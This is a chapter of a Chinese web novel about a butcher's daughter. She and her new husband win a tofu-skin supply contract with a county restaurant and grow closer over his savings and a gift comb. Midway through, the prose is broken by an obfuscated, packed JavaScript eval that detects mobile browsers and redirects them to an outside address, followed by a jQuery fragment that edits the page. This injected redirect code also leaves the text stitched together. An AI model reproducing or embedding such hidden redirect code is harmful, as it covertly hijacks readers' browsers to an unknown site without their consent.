25. 第 25 章
作品:《屠户家的女儿》 林真与贺景虽已成婚,可倆人,严格来说,还是算陌生人。
至少对林真来说,是算的。
她倆才见过一面好不?
可林真没料到,与贺景头一遭出来摆摊,倆人配合得却很是有默契。
主要是吧,贺景这人虽然话不多,只偶尔搭话,可就是这偶尔搭的一两句,回回都能正中要点。
月白对襟挽高髻,收拾得特利落的娘子眼睛盯着,是在挑剔不干净。贺景包箬叶的时候会特别留意不去碰到豆干儿,还会闲聊似的说起采摘箬叶洗晒之事。
头插银钗的妇人买一把腐竹,眼儿才落在豆干儿上,贺景就晓得要去给人挑半块豆干儿当添头…
几回下来,林真干脆直接坐在小杌子上,只给人打下手。
天晓得,她其实是个不那么爱说话的人。
这辈子倒好,才来没几个月,与人打交道谈生意的话说了几大车,快赶上上辈子一年的社交量了。
可谁叫家里只有她能出来摆摊儿呢?
苗娘子,即便是现在也不大出门,怕是连枣儿村都没好生逛过。她屠户爹?摆摊经验倒是十分丰富,他那体格子放在肉铺不违和,可站在此处,能教客人少一半儿。
能怎么办呢?总不能指望七岁的燕儿罢?林真只能咬牙坚持。
现在好了,家里来了个能分担的,她乐得偷闲。
溜达着买了熟水回来的林真,刚好撞见了赶着驴车的林福。
“林娘子,咱们掌柜的请您和贺郎君用顿便饭,派小子来相请。”林福一脸笑。
“又教林掌柜破费了。”林真目光落在驴车上,半点不推辞。
瞧瞧人家这周到的,许是瞧见今日自个儿和贺景背着东西,这厢还特意牵了驴车来,定是有事儿相商。
林福带着倆人一路到了西市,在一座二层酒楼前停下。
酒楼门口甚是宽敞,又以彩纸和竹木制半月形的欢门[1],上头迎风招展的彩帛在日头下晕出彩光来,吸引着无数腰间鼓鼓的食客。
“福管事。”车才停稳,招揽客人的伙计便小跑过来,殷勤又周到。
“牵到后头去,车上的家伙什都是贵客的,好生瞧着。”林福将驴车交给小伙计,又转身对着林真倆人一礼。
“二位请,大掌柜在楼上等您。”
林真抬头瞧着‘丰乐楼’三个龙飞凤舞的大字,这是慈溪县内数得上名儿的酒楼。
眼睛在彩帛上一晃,农家难见的东西在此处只是用来吸引客人,当个摆设罢了。
“林大掌柜这是高升了,是要好好贺一贺。”
林福眼中笑意更甚,微微弓着身子在前头引路。
林真挺直了腰板大步跟上,又轻轻碰了碰身边的贺景,低声安抚。
“咱可是贵客呢!”
贺景一怔,转而尽量舒展身形,跟在林真身旁一同朝楼上走去。
倆人的粗布短衫在此处确实扎眼,可行走之间不见畏缩,又都是一副好相貌,前头还有个林福引路,倒是没人跳出来,出言奚落,最多瞧上两眼便罢了。
二楼俱是小巧玲珑的雅间,最适合约人谈事。
林掌柜在门口迎林真,笑呵呵的模样,当真是人逢喜事精神爽。
“林娘子、贺郎君,里面请,老朽恭候多时了。”
众人依次落座后,林真才发觉,这二层酒楼后边别有洞天。
假山流水环绕着一间间小巧院落,又有翠竹奇花掩映,飞桥栏杆上是捧着食案的伙计和焌糟娘子穿行其间。好一幅奢侈画面,教林真这个自诩有些见识的异乡人瞧着都咋舌。
寒暄几句,林掌柜便直入正题:“这酒楼,每日约耗三斤腐竹,不知林娘子可能供应?”
“能!”林真在心里快速过了一遍,立即答应。
稳定的客源,固定的收入,谁不答应是傻子。
“哈哈,林娘子果然爽快!”
倆人商量了一些细节之处,便果断定契。这回是长久生意,自然要签红契,拟好契约着人去县衙盖印后,林掌柜也不多留,使人捧来两白瓷盏后,神神秘秘道。
“林娘子赏脸,细细品味一番这春水魄。”
随即出门去,将空间留给林真倆人。
林真心有预感,和她有关,除了腐竹那就只有桑叶豆腐了?
可瞧见那白瓷盏里头的东西后,着实不敢相认。
桑叶豆腐被一分为二,灰色的部分和雪白细密的冰沙堆成山峦模样,翠色的部分铺满整个盏子,上头淋了一层透亮的蜜水,确有波光粼粼之感,又在角落用绯色糖浆勾出半朵残荷。
盏中作画,不愧它春水魄的美名儿。
林真欣赏了半天,用搭配的小银勺舀了半勺送入口中,滑嫩清甜,冰冰凉,不论是口感还是甜味儿,着实比她折腾出来的桑叶豆腐不是一个档次。
听见小伙计笑眯眯道:“一盏春魄,二十八个钱!”
林真忍住了,没在心底大叫,奸商!
“这东西可稀罕了,整个儿慈溪县,只有八仙茶坊和咱这头有呢!打竹林雅集上传出来的,冰盏盛玉魄,澄澈无暇胜春水,大人们都在赞哩!”
听听,还有名人雅士打广告,合该人家赚这个钱。
小伙计离开后,林真招呼贺景。
“用饭,用饭,待会儿还有得忙呢!”
确实忙,拿了红契后,林真和贺景先去米行买豆子,又去了熟药局买石膏。
在外头探头探脑,瞧见贺景同样被小药童盘问许久,林真心里诡异的平衡了。
倆人今日是空手回去的,那些个家伙什都搭了米行的便车运回去。林真也懒得去等枣儿村的牛车,与贺景溜达着往家走。
豆子有贺景操心,林真乐得丢开手,自去围着家里的大小灰瞧。
这会儿拉磨的是小灰,林真盯着它湿漉漉的大眼睛不错眼。
丰乐楼每日要三斤腐竹,兴福坊的摊子上销量稳定下来后,每日约莫能卖出去六七把腐竹,便算作一斤半。平日里还要再备些货,免得有富户办小宴时采买腐竹支应不开。
这一算,可不得了,一日至少得磨上百来斤豆子。
嘶!
林真盯着小灰没长成的小细腿儿瞧,罢了罢了。
大小灰平日里磨豆子已经很辛苦了,眼瞅着秋忙就快到了,紧接着便是中秋、冬节和年下,正是屠户最忙碌的时候。大灰必要跟着她爹跑东跑西的,家里的豆子只能指望小灰了。
林真叹气,还真是被那牛车主拿捏住了。
说好了要与丰乐楼送货,夏日两日一送,冬日五日一送。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16339035|181561||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那赶车的村人本就存着加钱的心思,再添上丰乐楼那头的路程,更是有得说嘴。
林真望天,有些烦。
“真姐儿这是咋的了?不是说有大酒楼瞧上咱家的腐竹,要赚大钱了,怎还叹气呢?”林屠户冲着贺景问。
“许是在忧心又要教家里人劳累了。”贺景当然知道为了啥,可他没说实话。
“嗨!我说她寻思啥呢,咱家现在新添了你,她担心个啥。”
林屠户倒不是在点贺景,虽只进林家一日,可也瞧得出这女婿能干着咧。
今儿一大早,牲口棚收拾妥当了不说,灶上连粥都熬上了,教惠娘好一顿夸。
他瞧在眼里,也确实欢喜。
“爹,我去屋子里给真娘寻样东西。”
“成,你喊她一起去,蹲恁久了,也不怕腿麻。”林屠户挥挥手。啧,这称呼,还怪奇怪的。
林真腿真麻了。
搭着贺景的手才站起来,一路被人领到屋子里还奇怪。瞧见贺景翻他那两只箱子更奇怪了。
说起来,这算是贺景的‘嫁妆’罢?她可从来没打过主意的,这是作甚呢?
贺景从箱子底下翻出一个粗布包袱,看了两眼,捧到了林真跟前。
“里面有五贯钱,是当初那八贯钱剩下的。散碎的一百来文是我自个儿存下的,还有这把梳子……”
贺景顿了顿才接着说:“是我自个儿攒下钱买的,是……”
“送给我的!”林真自信满满,不错眼地盯着贺景。
贺景笑了笑,将东西都送到林真手边。
“是,是我想要送你的。”
很普通的桃木梳子,可林真捏在手里,又瞧了瞧那沉甸甸的五贯钱,只觉着手里的梳子热得发烫。
她十分郑重道:“结发夫妻,白首同心。你若不负我,我必不辜负。”
贺景面上有些发红,他能感受到林真的郑重和真心。他这样的人,也能值得人如此郑重?倒显得他似乎也十分重要一般。
好在他肤色黑,即便面上发烫,应当是瞧不出来的。
贺景定了定神,将话题拉回来:“再卖上几日腐竹,咱们便可再去买上一头壮年驴子来,那便再不受人辖制了。”
林真实在开心,这人,与她想到一处去了。
“不用攒,我手里还有两贯,咱们明日就去买驴子!”
她想了想又补上一句:“这五贯,我日后补给你!”
“别推,这不是与你分清楚。该是你的就是你的,我打明日起还要正经记账咧!咱家这腐竹营生支开来,一家子都出了力的,那就记账算工钱,都有得分!”
贺景将钱拿出来就没想过拿回去,他本就身无长物。原本就是林家的钱,他箱子里的两身好衣裳和两床被子,都是从那八贯钱里头来的。
他最大的财产,只有那把用了许多年的铁斧。
从前饿着肚子买下来的,不单指望着它砍柴,它还牵着他心底最后一丝野望。
可现在到了林家,有了林真,那铁斧便好似只是劈柴的物件了。
“咱们心往一处,劲儿也往一处使!日子定然是越过越好的!”林真在展望未来,又叫画大饼。
“好!”贺景眼睛亮晶晶。
显然,有人很乐意吃这大饼。

